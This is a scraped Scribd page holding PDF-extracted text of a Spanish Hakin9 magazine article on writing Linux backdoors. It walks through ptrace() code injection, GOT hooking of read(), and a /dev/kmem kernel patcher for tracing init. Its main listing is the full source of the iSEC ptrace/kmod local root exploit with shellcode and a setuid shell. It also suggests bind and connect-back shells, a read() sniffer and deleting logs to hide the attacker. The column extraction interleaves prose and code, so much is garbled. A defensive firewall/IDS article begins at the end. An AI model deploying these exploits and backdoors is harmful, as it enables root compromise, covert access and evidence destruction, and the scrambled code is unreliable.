empresas","author":"heartbreakingdo85","tracking":{"object_type":"document","object_id":307194304,"track":"similar_to","doc_uuid":"6LDNm6C3fLI9C9xqEsLj8EDI9x0="},"url":"https://www.scribd.com/document/307194304/Gesti-n-de-la-seguridad-privada-aporta-valor-a-las-empresas"},{"type":"document","id":199617600,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/199617600/108x144/93c37bac18/1389713115?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/199617600/216x288/deacd747ea/1389713115?v=1","title":"Modulo2 Curso Introduccion Proteccion Internet","short_title":"Modulo2 Curso Introduccion Proteccion Internet","author":"Pablo Solano","tracking":{"object_type":"document","object_id":199617600,"track":"similar_to","doc_uuid":"pMS9rpbq3WxqC6CwI1wstHs7hrg="},"url":"https://www.scribd.com/document/199617600/Modulo2-Curso-Introduccion-Proteccion-Internet"},{"type":"document","id":273668494,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/273668494/108x144/f960efd00e/1438821416?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/273668494/216x288/1e32eed779/1438821416?v=1","title":"Exploits","short_title":"Exploits","author":"Henry Acevedo","tracking":{"object_type":"document","object_id":273668494,"track":"similar_to","doc_uuid":"sPYleCgDRqTY83+ftBTvdvJeOfs="},"url":"https://www.scribd.com/document/273668494/Exploits"},{"type":"document","id":161293883,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/161293883/108x144/88df3c93e2/1388650105?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/161293883/216x288/f3bf7edccc/1388650105?v=1","title":"Proyecto Final","short_title":"Proyecto Final","author":"Gustavo Sc","tracking":{"object_type":"document","object_id":161293883,"track":"similar_to","doc_uuid":"wvmrqYexJ3iNDP2jOefb5rgCvJY="},"url":"https://www.scribd.com/document/161293883/Proyecto-Final"},{"type":"document","id":52565740,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/52565740/108x144/bee946638d/1352858650?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/52565740/216x288/1cf83f3e12/1352858650?v=1","title":"Qué es un hacker","short_title":"Qué es un hacker","author":"Geobany A Riveros P","tracking":{"object_type":"document","object_id":52565740,"track":"similar_to","doc_uuid":"vRWp4XcyHHX1SjfdvLpuBMEl01A="},"url":"https://www.scribd.com/doc/52565740/Que-es-un-hacker"},{"type":"document","id":69750805,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/69750805/108x144/5da24488db/1337874890?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/69750805/216x288/fd5fdea999/1337874890?v=1","title":"Man Avira Premium-security-suite Es","short_title":"Man Avira Premium-security-suite Es","author":"julsanab","tracking":{"object_type":"document","object_id":69750805,"track":"similar_to","doc_uuid":"CudCr22Wt9MKMJLY947gjEAd/Zc="},"url":"https://www.scribd.com/document/69750805/Man-Avira-Premium-security-suite-Es"},{"type":"document","id":36196447,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/36196447/108x144/122a233cbf/1282348542?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/36196447/216x288/4b5f7dec41/1282348542?v=1","title":"Normas de Conducta","short_title":"Normas de Conducta","author":"Smets777","tracking":{"object_type":"document","object_id":36196447,"track":"similar_to","doc_uuid":"NBHlgV1At/VKMr8CVbFdIV+lV84="},"url":"https://www.scribd.com/document/36196447/Normas-de-Conducta"},{"type":"document","id":66630699,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/66630699/108x144/0387f5b108/1384030850?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/66630699/216x288/d0fd3543ca/1384030850?v=1","title":"InformeTecnico 031 2011 GIN v2","short_title":"InformeTecnico 031 2011 GIN v2","author":"Rafael Hernandez Mendez","tracking":{"object_type":"document","object_id":66630699,"track":"similar_to","doc_uuid":"WP09WMAEDiMSlTXSrpY0LQileYc="},"url":"https://www.scribd.com/document/66630699/InformeTecnico-031-2011-GIN-v2"}],"title_link":null,"title":"Documents Similar To 21_2007_ES","track_opts":{"compilation_id":"Je/VwFzpUROulEt0vMhIsK5ozrk=","module_id":"j8OK/4uBSw16sQodn5LrNmN6sws=","widget_name":"document_carousel"}}]},"seo_new_docs_recommenders":{"recommenders":[]}},"seo_roadblock_props_path":"/doc-page/seo-roadblock-props/94749503","signup_context":null,"toolbar":{"search_path":"/search-4gen?allowed_pages=1%2C2%2C3%2C4%2C47%2C48%2C49%2C50&auth_token=QlGY01Je0ge37Zc8TBV3v3lmjYw%3D&authenticity_token=I87UO3rO%2BXVE3x6XQ29DvT3ed0MXT%2BCZxPjvmskN0bOoOZ6H8kuAuas5HjIStM8BKLE8oRVeaD3bPtb2MnZAPg%3D%3D&expires=1537883928&wordDocumentId=94749503&wordUploadId=98053235"},"renewal_nag_props":null}-->
s text segment address (%s)\n". int i. sin_port=htons(35261).

somos capaces de meterlo aquí. No olvides añadir la lectura original. Una buena cosa es que no necesitamos cuidar de la pila ejecutable y ceros en el código. Esta sección tiene un tamaño fijo. Es obvio que esto debe estar en algún lugar de la memoria del proceso. que no pueden usarse durante la ejecución. Este espacio está ocupado por las cabeceras ELF. por lo tanto pensé sobre la forma de implementar unas backdoors más grandes. • • sh_code = malloc(strlen((char*) infect_code) +4). return (-1). conseguir el puntero a la memoria asignada. inject_parasite_size(). Para asignar la memoria sin ejecutar la pila hay un esquema un poco modificado: • sobreescribr la entrada del segmento.Ataque Dondequiera que quieras llamar llama la dirección WITHIN 08086b30. • meter el código en la pila que asignará una nueva región de memoria (usando mmap()). strcpy(sh_code. return (-1). Pensamos sobre las posibilidades que tenemos.text. dirección del segmento de. o bien al menos un parásito inicial. estas cabeceras se hacen inútiles y somos capaces de sobrescribirlas seguramente con nuestro código. } /* * sobreescribe la dirección de lectura de la tabla global de equilibrio */ if (inject(pid. el proceso infectado será segfault en 0x41414141. propia implementación de la función de backdoor. Puedes básicamente cambiar los datos y meter dondequiera que quieras en el espacio y no pasaría nada. Como he dicho las cabeceras de ELF ocupan unos 244bytes y no son suficientes para una grande backdoor. en vez de destruir los datos al inyectar la carga útil en el %eip. y va a saltar a algo diferente. la siguiente vez el proceso llama read(). Podríamos controlar completamente el flujo de ejecución del demonio por ejemplo. la función que queremos a la backdoor. que desplegará un parásito mayor más tarde. Cuando sea posible para nosotros sobrescribir cualquier función en el vuelo somos capaces de situar diferentes backdoors dentro de los procesos ejecutados. 4. Vamos a echar una ojeada en nuestro binario (proceso) donde vamos a sobrescribir nuestra función e inyectar la backdoor. al lado malo. necesitamos más espacio para situar nuestro backdoor.text. usar inject() para meter nuestro código en la memoria asignada dinámicamente. Para recibir la posición inicial de esta sección. Omitiendo el límite de tamaño la siguiente vez read() será llamada. Cuando quieras: read(). Pues.hakin9.text incluye las cabeceras del programa ELF y otra información que es solamente empleada 36 www. readgot. (%eax) durante el inicio. %eax movl $0x41414141. cambiar el valor de devolución y los datos de registro. interceptar syscalls. el lugar para nuestro código está muy limitado. Ahora cuando escribas una dirección diferente en 08086b30.eax = infect_ptrace(pid). Listado 7 b. Primero necesitamos algunos conocimientos básicos y para situar nuestro backdoor en algún lugar de la memoria. inject_parasite_ptr()) < 0) { fprintf(stderr. haciendo simples calculaciones recibiremos nuestra fórmula: max_possible_size =sizeof(e_hdr)+sizeof(p_hdr) *suma de cabeceras_p • • • dirección de la función desde la Tabla Global de Equilibrio. Vamos a echar una ojeada en la información que necesitamos. strerror(errno)). luego. La primera idea es usar memoria asignada dinámicamente. Necesitamos escribir nuestra propia implementación de la llamada que actúa como la original. } Intercepción de syscall El segmento. Hay unos 240 bytes del espacio no usado en 0x8048000. Abajo puedes ver una parte del código que sobrescribirá la seleccionada syscall desde el proceso seleccionado. strerror(errno)). pero en vez de la dirección del segmento. Pequeña función para recoger el segmento de texto del proceso de objetivo if (inject(pid. necesitarás comprobar p _ vaddr. Dotados de este conocimiento podemos hacer un paso hacia adelante. (char *) &textseg) < 0) { fprintf(stderr.text por infect _ code(). con el objetivo de construir nuestra función de sobrescritura: • • procesa a si mismo y su ID. textseg. En 08086b30 no hay otra dirección que apunta a la lectura actual. reg. Al poner un parche en syscall necesitamos guardar el original syscall.(char *) infect_code). "¡La inyección de la entrada GOT falló! (%s)\n".org . Después de lacarga del proceso. "¡La inyección de parásito falló! (%s)\n". usar la memoria asignada: Es pequeño. Sin embargo. Aquí tienes un ejemplo con sys _ write demostrado en el Listado 3. movl $0x08086b30. nuestra parcheada syscall existe dentro del proceso y otra vez. pero bastante para algunos códigos puros ASM.

void *buf. por lo tanto somos capaces de inyectar códigos más avanzados en los procesos.h> #include <stdio. www. escuchar (sniff) a las comunicaciones de registro. exit( 1 ). después de su conexión al proceso. Vamos a ver algunas de las básicas posibilidades: • cambiar los valores de devolución. } if( write( kmem_fd. por ejemplo virus y gusanos o mensajes cifrados en los procesos. cambiar los relojes fechadores/ md5sums.h> #include <string. return( 17 ). los mensajes de registro de imitación y parecidas. Ahora podemos implementar backdoors con casi tamaño no limitado. int80. luego deberías conectarte a él y enviar algunos datos para llamar la parcheada read(). 0600 | S_IFCHR. Kernel Patcher para permitir ptracing de init #define _GNU_SOURCE #include <asm/unistd.h> #include <stdlib. Aquí tenemos un pequeño ejemplo que necesitas para infect _ code. if( mknod( "/tmp/kmem". exit( 4 ). size_t count ) { if( lseek( kmem_fd. idt = *(int *)( buffer + 2 ).Escribe tu propio backdoor Listado 8a. *p. sct. Por ejemplo. esconder archivos. c.h> #include <sys/stat. SEEK_SET ) != offset ) { perror( "lseek(kmem)" ). eliminar archivos (mensajes de registro) que revelaría al atacante IP etc. kmem_dev ) < 0 ) { perror( "mknod(/tmp/kmem)" ). O_RDWR ) ) < 0 ) { perror( "open(/tmp/kmem)" ). inject() ¿Qué es posible? ¿Qué podríamos armar con este conocimiento? Básicamente es lo mismo que la función de sobrescritura (cuando lo conozcas) y por ello empleamos ptrace() para sobrescribir e inyectar el código. return( 16 ). } } void write_kmem( off_t offset.h> #include <fcntl. 2 ).h> #include <unistd. count ) != (long) count ) { perror( "write(kmem)" ). int idt. } if( ( kmem_fd = open( "/tmp/kmem". cuando estás haciendo backdoors de Netcat. perror( "open(/dev/kmem)" ). por ejemplo. } unlink( "/tmp/kmem" ). sesiones de secuestro.h> int kmem_fd. offset. El problema es que eres capaz de controlar la comunicación completa de un proceso. buf. ejecutar la capa de unión o la devolución de conexión. count ) != (long) count ) { perror( "read(kmem)" ). } /* recoge la dirección de la tabla del descriptor de interruptor */ asm( "sidt %0" : "=m" ( buffer ) ). • • trace read() para la llamada. void *buf. SEEK_SET ) != offset ) { perror( "lseek(kmem)" ).h> #include <sys/types. /* bajo nivel de subrutinas de utilidad */ void read_kmem( off_t offset.. } } #define GCC_295 2 #define GCC_3XX 3 #define BUFSIZE 256 int main( void ) { int kmode. exit( 3 ). que asignará la memoria asignada. } if( read( kmem_fd. exit( 2 ). if( ( kmem_fd = open( "/dev/kmem". es justamente una simple función ptrace() injection . como está demostrado en el Listado 5. offset. de hecho el entero flujo de ejecución. char buffer[BUFSIZE]. la siguiente llamada será mmap(). luego guarda el valor de devolución. Consigue el valor e devolución y usa ello para inject(). buf. size_t count ) { if( lseek( kmem_fd. • • • • • • Como puedes ver tenemos una amplia variedad de diferentes métodos de backdoors que pudimos usar. O_RDWR ) ) < 0 ) { dev_t kmem_dev = makedev( 1.org 37 . ptrace. gcc_ver.hakin9.

buffer + ptrace. 8 ). int80 = ( *(unsigned short *)( buffer + 6 ) << 16 ) + *(unsigned short *)( buffer ). Ahora después de poner parche /dev/kmem de esta forma. } Christophe Devine escribió un pequeño programa que es editado bajo la licencia pública GNU para poner parche en el kernel en la ejecución para permitir init para que sea trazada.org .hakin9. 1 ). /* get sys_ptrace() address and patch it */ read_kmem( (off_t) ( p + 3 . /* get ptrace_attach() address and patch it */ if( gcc_ver == GCC_3XX ) { p += 5. buffer. Simplemente hacemos caer la capa en nuestra terminal para evitar una fácil detección. Infectamos el proceso de inicio con ayuda de /dev/kmem Normalmente no puedes conectarte en el proceso de inicio con ptrace(). Vamos a ver dentro de ptrace() la llamada del sistema (sys _ ptrace). Os suministraré algunas fotos de pantallas de diferentes parásitos en acción y explicaré lo que pasa. return( 19 ). Además. ptrace += *(int *)( p + 2 ) + p + 6 . Adjunto este código (ver Listado 8a y 8b). hay oportunidades y no serán detectadas hasta que abras un nuevo puerto. 3 ) ) ) { p -= 2. BUFSIZE. } } write_kmem( p . "fatal: can't locate ptrace_attach\n" ). if( ! ( p = memmem( buffer. return( 20 ). "\x83\xFE\x10". kmode = *p & 4. read_kmem( ptrace.buffer. /* get system_call_table address */ read_kmem( int80. sct ). printf( " . p = buffer.buffer. &c. read_kmem( ptrace. return( 21 ). printf( " . "fatal: can't locate sys_call_table\n" ). 3 ) ) ) { fprintf( stderr. BUFSIZE ). BUFSIZE. localizada en arch/i386/kernel/ptrace.buffer + syscall ). pues tendrás una mejor foto de cómo este fue hecho. Kernel Patcher para permitir ptracing de init /* get system_call() address */ read_kmem( idt + ( 0x80 << 3 ). BUFSIZE ).c: ret = -EPERM. 24 ) ) ) { fprintf( stderr. BUFSIZE ). BUFSIZE ). "\x83\x79\x7C". } ptrace += *(int *)( p + 1 ) + p + 5 . 4 ). c = *p ^ 1. if (pid == 1) /* no puedes desorndenar con init */ goto out_tsk. p . write_kmem( p + 3 . "fatal: can't find patch 1 address\n" ). Con un pequeño truco. por lo tanto cuando infectes los mencionados.buffer + ptrace. if( ( p = memmem( buffer. Listado 8b. kmode = *p & 1. "\x83\xFB\x10". } sct = *(int *)( p + 3 ). buffer. kp1 @ 0x%08X\n". } else { fprintf( stderr. if (request = = PTRACE_ATTACH) { ret = ptrace_attach(child). "\xFF\x14\x85". } if( ! ( p = memchr( p. 4 ).buffer + ptrace ). 0xE8. 1 ). read_kmem( ptrace. sobre este tema diré más tarde. if( ! ( p = memmem( buffer. goto out_tsk. puedes 38 www. BUFSIZE. Explicados diferentes backdoors Tenemos un montón de las posibilidades de backdoor. c = *p ^ 4. podemos hacer el proceso de inicio trazable y así infectarlo con un parásito. gcc_ver = GCC_3XX. Los administradores suelen creer en sus demonios. buffer. &c. } else { if( ( p = memmem( buffer. buffer. sct @ 0x%08X\n". buffer. } c = ( ! kmode ). (void *) &ptrace.Ataque Puedes añadir nuevas funciones a ello o eliminar algunas (como funciones de registro) y serás capaz de situar las escondidas backdoors. pero ¿realmente no las entenderás todas? Vamos al grano. 3 ) ) ) { fprintf( stderr. "fatal: can't find patch 2 address\n" ). read_kmem( sct + __NR_ptrace * 4. sin embargo. gcc_ver = GCC_295. 3 ) ) ) { p -= 7. BUFSIZE. return( 18 ). buffer.

Esto copia (usando dup2) los descriptores.h> #include <sys/param. p + 3 . pid_t child = 1. volatile int gotchild = 0.h> #include <sys/types. victim. len = readlink("/proc/self/exe". Para fijarlo. MAXPATHLEN .h> #include <stdio. Nuestro có- www. Kernel Patcher para permitir ptracing de init printf( " . recuerda como funciona la unión de capas.h> #include <signal.1). unsigned long * src. src = (unsigned long*) buf. else printf( " + kernel patched\n" ). sobrescribir la dirección de la Tabla Global de Equilibrio de read() para indicar a nuestro parásito. kill(victim. Nuestro código de carga útil está preparada.h> #include <fcntl. kill(parent. por lo tanto necesitamos escribir nuestra implementación de la capa. infectar el proceso init. %eax\n" "movl $123.h> #include <unistd.Escribe tu propio backdoor Listado 8c. if (len == -1) fatal("[-] Unable to read /proc/self/exe"). después de que init ha sido infectado esto no será a tope del listado de procesos y así puede revelar que el sistema ha sido comprometido. el parásito. vamos a inyectar un parásito en el segmento y. Obviamente esto no emplea plug ins.h> #include <string. Primero vamos a ver el código de la carga útil: Listado 6. La carga útil va a actuar como lo hace una normal read(). i += 4) if (ptrace(PTRACE_POKETEXT. SIGKILL). no funcionará en versiones más nuevas de gcc. SIGKILL).1) pid_t parent = 1. #include <grp. Linux kernel ptrace()/kmod local root exploit. pues vamos a ejecutar.h> #include <sys/wait. return( 0 ). Sobre todo.h> #include <errno. } void putcode(unsigned long * dst) { char buf[MAXPATHLEN + CODE_SIZE]. Read() sniffer } Listado 9a. pid_t victim = 1. por ejemplo: asm("movl $1. pero también va a registrar todo en un definido archivo de registro.h> #include <sys/stat. memcpy(buf. cuando el ejemplo arriba mencionado funciona bien en algunas versiones. Al final habrá comentario de cada función: Dup2() backdoor Bueno. luego.kernel unpatched\n" ). simplemente hazlo como en el primer ejemplo del inyector que os di.h> #include <linux/user. buf + CODE_SIZE. int i. len. buf[len] = '###BOT_TEXT###'. #define CODE_SIZE (sizeof(cliphcode) . SIGKILL). kp2 @ 0x%08X\n".h> #include <stdlib. cliphcode. Sin embargo. Una importante cosa para apuntar para evitar el depuramiento estresante son estas diferentes versiones del gcc del diferente hilo en línea asm().h> #include <paths. esta backdoor está bastante bien escondida y no aparece en netstat.buffer + ptrace ). Después de que tu implementación esté hecha.org 39 .hakin9. i < len. close( kmem_fd ). } void sigchld(int signo) Basta con teoría. CODE_SIZE). dst++.h> #include <sys/ptrace. kill(child. stdout/in/ err para unir el plug in para hacer que la capa se despliegue a nuestro lado y no al lado del servidor. vamos a construir un sniffer read().h> char cliphcode[] = "\x90\x90\xeb\x1f\xb8\xb6\x00\x00" "\x00\x5b\x31\xc9\x89\xca\xcd\x80" "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" "\x00\x00\xcd\x80\x89\xd0\x89\xd3" "\x40\xcd\x80\xe8\xdc\xff\xff\xff". /* success */ if( c ) printf( " .h> #include <sys/socket. *src++) == -1) fatal("[-] Incapaz de escribir el código de capa"). void fatal(char * msg) { perror(msg). Ahora pasaremos a nuestras funciones necesitadas. El código dice más de las palabras. len += CODE_SIZE + 1. for (i = 0. %ebx\n" "int $0x80\n"). por lo tanto. Esto es básicamente el núcleo de la backdoor.

do err = ptrace(PTRACE_ATTACH. NULL). if (err == -1) fatal("[-] Incapaz de conectar"). victim. porque su realización ocupará demasiado código. 0) == -1) fatal("[-] Incapaz de instalar la trayectoria de syscall").\n").hakin9. &regs) == -1) fatal("[-] Incapaz de leer registros"). sin embargo no es universal. putcode((unsigned long *)regs. } void prepare(void) { if (geteuid() == 0) { initgroups("root". fprintf(stderr. int err. errno = 0. } void do_parent(char * progname) { struct stat st. pero qué pasa cuando la firewall bloquee tu puerto? En este } void sigalrm(int signo) { errno = ECANCELED.Ataque digo no emplea plug ins. setgid(0). while (!gotchild) . 0. Linux kernel ptrace()/kmod local root exploit. for(.. 0). simplemente cópialo en stdout/in/err. el método dup2. esto realiza fork() y luego accept(). victim. Esto no malgasta el código extra. Con excepción del uso estándar. socket(AF_SECURITY. regs. Simplemente el proceso tiene una cantidad estática de descriptores y nosotros podemos trazarlo empleando strace. system(progname). Simplemente esa la instrucción grep para el último descriptor. "[+] Attached to %d\n".. execl(_PATH_BSHELL. la información sobre el estado de los descriptores usados en /proc/ _ pid _ /fd . SOCK_STREAM.p. "[+] Signal caught\n"). Cuando nos conectamos al servicio remoto. do { err = stat(progname. fprintf(stderr. También procfs podrían no estar montados en algunos sistemas.st_mode & S_ISUID) != S_ISUID).que será 3 o 4 en la mayoría de los casos. if (ptrace(PTRACE_GETREGS. "[+] Shellcode placed at 0x%08lx\n". fprintf(stderr. podemos emplear procfs. "[+] Ahora espera la capa suid. El código inyectado puede compartir todos los datos del proceso. pid_t child = 1. victim. Listado 9b. exit(0). Hay unas formas de conseguirlo: • podemos sobrescribir accept() con nuestra nueva implementación. por lo tanto los procesos nos asignan un nuevo descriptor y nosotros necesitamos obtener sus números. Un pequeño ejemplo con Netcat: $nc -lp 1111 Luego arrastra su pid y strace . victim. char ** argv) { prepare(). Ahora ejecuta telnet al puerto 1111 de localhost y recoge el valor de devolución de accept() . 40 www.). 0. "[+] Waiting for signal\n"). fatal("[-] Unable to spawn shell"). } void para_main(void) { { int kmem_fd.eip). sigchld). if (gotchild++ == 0) return. } while (err == 0 && (st. 0. signal(SIGCHLD. 1). if (err == -1) fatal("[-] Unable to stat myself"). fprintf(stderr. pid_t victim = 1. La variante no es buena. _PATH_BSHELL. victim). por lo tanto es más invisible que el administrador estándar. &st).org . esta backdoor podría estar instalada en los sistemas con firewall donde solamente unos servicios están abiertos y otro tráfico está filtrado. fprintf(stderr. while (err == -1 && errno == ESRCH). donde podríamos leerlo. 0). Es mejor del primero pero no es perfecto. Ahora nuestra backdoor escondido está preparado. { struct user_regs_struct regs. if (ptrace(PTRACE_DETACH.eip). • • Después de recibir el descriptor. 0) == -1) fatal("[-] Incapaz de desconectar de víctimas").. } } int main(int argc. alarm(0). setuid(0). incluyendo descriptores. que escribiría todos los valores de devolución a un archivo. if (ptrace(PTRACE_SYSCALL. fatal("[-] Fatal error"). NULL. Devolución de conexión ¿Normalmente quieres lanzar a la capa de unión.

o bien la versión 2 de la Licencia. tendrás la idea.ibm. victim = child + 1. if (child == 0) do_child(). El código aprovecha de la condición de carrera en kernel/kmod. pero a veces solamente unos puertos funcionarían. • • Sobre el Autor Stefan Klaas se ocupa del campo de la Seguridad IT desde hace los 10 años y ha trabajado como Administrador de Seguridad e Ingeniero de Software. pero SIN NINGUNA GARANTÍA. Este programa es código fuente abierto.txt – construyendo los códigos de capa de inyección ptrace() . activamente investiga las ediciones relacionadas con seguridad y realiza las pruebas de Penetration. Descubrí este estúpido gusano independientemente el 25 de Enero de 2003.2. Esto no debería ser un problema grave para desarrollar una simple carga útil.cnam.. ¡Ahora puedes simplemente hacerlo tú mismo! Escribes una pequeña ptrace() injection herramienta que intercambia la función de registro contigo o simple registrar todo al enganchar en read()/write() o como tal. si no. Conclusión } En la Red • http://publib16.0.boulder.2. luego. Desde el año 2004 es CEO de la Compañía GroundZero Security Research en Alemania.4. deberías tratar unos puertos privilegiados como DNS (Port 53). escribe a Free Software Foundation.org 41 . sin incluso la garantía sugerida de MERCADO o CAPACIDAD PARA OBJETIVO PARTICULAR.4. Sigue desarrollando el código Proof of Concept Exploit. esto es (casi) dos meses antes de que fue fijado y publicado por Red Hat y otros.fr). Debería funcionar bajo todos los actuales kernels 2. Este gusano permite a ptrace() unos procesos clonados. Linux kernel ptrace()/kmod local root exploit. l www.0. Apéndice 2. Este programa se distribuye en la espera de que será útil. Ver la Licencia general Pública para más detalles. return 0. o (en tu opción) cualquier versión posterior. if (child == -1) fatal("[-] Unable to fork"). sigalrm). http://www. Todo lo que tenemos que hacer ahora es desarrollar la carga útil de la devolución de conexión que es simple y con las técnicas que acabamos de aprender.phrack. Boston. Listado 9c. http://www. puedes redistribuirlo y/o modificarlo bajo las condiciones de GNU (General Public License) como publicado por Free Software Foundation.die. signal(SIGALRM. o por hackers a la backdoor Binaries.com/phrack/59/p59-0x0c.hakin9. Frecuentemente este conocimiento es usado por probadores de Penetration con ptrace() injection los códigos de capa para estallar de chroot. pero este conocimiento también te ofrece más flexibilidad en tus trabajos de Admin al trabajar con Código Fuente Cerrada.x. Para empezar sugiero que uses el valor cifrado fuertemente para la IP tal como #define CB _ IP 127.htm – referencia técnica: Sistema Básico de Operación y extensiones (Base Operating System and Extensions). ¡pero tú querrás más información! Normalmente tendrías que vivir con ello o demandar del vendedor para actualizarlo. Inc. permitiendo tomar control sobre los archivos binarios privilegiados modprobe. MA 02111-1307 USA.1 y. WWW (Port 80) ó FTP (Port 21). Esto nos da un montón de posibilidades para cambiar el flujo de ejecución de tal forma que podemos completamente controlar el programa. Wojciech Purczynski cliph@isec.html – man 2 ptrace(). 59 Temple Place.pl ESTE PROGRAMA ES PARA OBJETIVOS DE EDUCACIÓN SOLAMENTE ES SUMINISTRADO TAL COMO ES Y SIN NINGUNA GARANTÍA ((c) 2003 Copyright by iSEC Security Research). Linux kernel ptrace()/kmod local root exploit. child = fork(). necesitamos volver a conectarnos. acabamos de aprender una gran forma de manipular los programas en ejecución en la memoria. Vamos a decir que tenemos la Fuente de Demonio Cerrada que no tiene demasiado buenas características de registro y el archivo de registro es más bien muy simple. por lo tanto.x y 2.c lo que crea el hilo de kernel en un modo inseguro. Deberías recibir una copia de la Licencia General Pública GNU junto con este programa.com/pseries/en_US/libs/basetrf1/ptrace.x kernel patcher que permite ptracing el proceso init (Copyrig- ht (c) 2003 Christophe Devine devine@iie. Volumen 1. Ok. alarm(10). En la mayoría de los casos cada puerto saliente está permitido.net/doc/linux/man/man2/ptrace. else do_parent(argv[0]). Suite 330. lanza simplemente connect() y execute /bin/sh -i. parent = getpid().Escribe tu propio backdoor caso.

Históricamente.hakin9. i. ha sido la más común.org . Antonio Merola Grado de dificultad En este artículo comentaremos como puede usarse un Sistema de Detección de Intrusiones en Redes (NIDS) como herramienta de verificación en el caso específico de un fallo del firewall y como herramienta para la aplicación de la política de seguridad. Ha habido varios fallos bien publicitados en varias soluciones firewall. un firewall permisivo..Defensa Violación y Aplicación de Políticas de Seguridad con IDS y Firewall Arrigo Triulzi. Los Firewalls pueden dividirse en dos categorías basándonos en la idea que hay detrás de su configuración: es o cualquier cosa no explícitamente permitida está prohibida o cualquier cosa no explícitamente prohibida está permitida. 42 www. Por ejemplo. es que como todos los dispositivos informáticos. podríamos tener una regla definida como: permitir todo el acceso a nuestro sitio web corporativo desde la red interna.e. Lo que se espera de un firewall es que. Lo que muchas veces se pasa por alto.. por la regla catch-all) es bloqueado y tal acción reportada. En este artículo aprenderás. OpenBSD pf y Snort (usadas como herramientas en todo el artículo). si se encuentra tráfico que concuerda con una de las reglas white-listing. C uando se formula una política de seguridad esta incluirá temas como configuraciones obligatorias de firewalls y la monitorización de los logs de los firewalls para verificar violaciones de la política. pueden fallar. Esta forma también puede verse como una larga lista de reglas de listas blancas que permiten acciones cerradas con una regla catch-all que deniega todo lo demás. Una regla de firewall se define como una descripción (específica de cada producto) que indica a la solución firewall que hacer con un determinado tipo de tráfico. Aplicar la política de seguridad. la segunda forma. • • Deberías tener por lo menos conocimientos básicos sobre firewalls e IDS. tanto comerciales como Open Source. Detectar configuraciones erróneas de un firewall. el tráfico fluirá libremente mientras que cualquier tráfico prohibido (por ejemplo. • • • Detectar violaciones de las reglas de un firewall. Esta regla es un ejemplo de una lista blanca.. pero según crecía Internet y sus amenazas. algo que especifica comportamiento autorizado y esperado. la primera forma se ha convertido en la elección.. Lo qué deberías saber.

es que no debería haber acceso directo a la red externa desde la red interna y que todo el tráfico permitido debería ser dirigido mediante proxys. no podemos confiar en el para detectar una violación de la seguridad. En este caso no tendríamos ningún registro de que lo que está ocurriendo a través de los mecanismos normales de información del firewall.10.213/32. por ejemplo varias líneas con diferentes ISPs.168/32.168.168.) www. Un suceso similar pero algo menos letal es una puerta de enlace basada en RSA SecureID.168. los normalmente llamados firewalls personales.. y servidor terminal añadiendo las tarjetas de expansión adecuadas. no se activa. o cualquier otra regla de denegación. 192. Lo que normalmente ocurre después es que las CEO exceptions empiezan a aparecer.168. 192. En la dirección contraria actúan de la misma forma.e.105/16 pass in on $int_if proto tcp from $int_hosts_auth to $ext_office keep state flags S/SA pass out on $ext_if proto tcp from $int_hosts_auth to $ext_office modulate state flags S/SA (. Es ocurre debido a la práctica común de agregar tantos servicios como sea posible a un único sistema.10.10.org 43 . La razón para este nombre es que inevitablemente están impulsadas por altos ejecutivos que requieren acceso desde casa o mientras se están desplazando.10.. switch. siendo un ejemplo perfecto los sistemas Cisco donde el router puede actuar como un firewall.10.hakin9.0/16" int_lan ="192.0/24" int_hosts_auth = "{ 192. Diseño de Firewalls El diseño de una configuración de firewall segura ha cambiado lentamente de ser un arte negra que requería la escritura de comandos oscuros en un prompt al interfaz gráfico de usuario point & click de los últimos productos. El diseño básico de la red desde el punto de vista del firewall es de hecho un interior y un exterior. También se ha convertido en un bien de consumo al estar el software firewall disponible para estaciones de trabajo individuales. debido a la posibilidadde un fallo de software en un firewall. esta falta de conocimientos especializados ha significado una mayor dificultad de detección y actuación sobre configuraciones erróneas o fallos del firewall.) # Esto permite a los hosts internos int_hosts_auth alcanzar la red 10. Listado 1.0. bloquea a todos los desconocidos) está activa pero no se está aplicando debido a un fallo del sistema (i. Configuración de OpenBSD pf ext_if = "ne1" int_if = "ne2" ext_office ="10.168.168. que abría la posibilidad de asegurar la infraestructura de red de la empresa en sitios donde no se disponía de los conocimientos especializados. 192.. Según se complica la configuración de un firewall lo que ocurre realmente es que un único firewall tendrá múltiples interiores (i.10. La migración de la sintaxis de la linea de comandos al interfaz gráfico de usuario fue un cambio bienvenido.. 192.214/ 32. redes empresariales conectadas directamente) y múltiples exteriores. Para darles soporte más y más reglas para atravesar el firewall se van añadiendo. Un política de seguridad simple. La mejor analogía tal vez sea la del guardia de seguridad dormido: la regla (i. Arquitectura simplificada de red con firewall Cuando se diseña una configuración de firewall el curso de acción correcto es traducir esas reglas en directivas de una política de seguridad.. éstas erosionan la fuerza de la política de seguridad. haciendo a la vez que la monitorización sea mucho más difícil.e.168. Figura 1. y lo mandan al exterior. Lo que queremos decir con esto es que la arquitectura interna del firewall causa que tráfico que debería ser bloqueado fluya libremente.10.. Por lo tanto necesitamos una herramienta externa para validar el comportamiento de nuestro firewall.10. concentrador de línea de conexión por marcación. Estos proxys aceptan correo electrónico y tráfico web y FTP procedente del interior.167/32. Está claro que. el guardia de seguridad está dormido). Esto es particularmente interesante si la regla catch-all. 192.215/32 }" (.189/32. 192. A pesar de su fuerte mecanismo de autentificación el objetivo sigue siendo abrir excepciones en el conjunto de reglas del firewall. pero efectiva.e.) # Esto bloqueará todo el tráfico entrante en ambos interfaces bloquea todo (.Análisis Diferencial de Firewall La cuestión que queremos solucionar es la del fallo en el modo de funcionamiento normal del firewall.190/32. Nos concentraremos en aquellos colocados para proteger redes empresariales de intrusiones externas. lo verifican. Lentamente pero de forma inexorable. Al mismo tiempo.105.168.

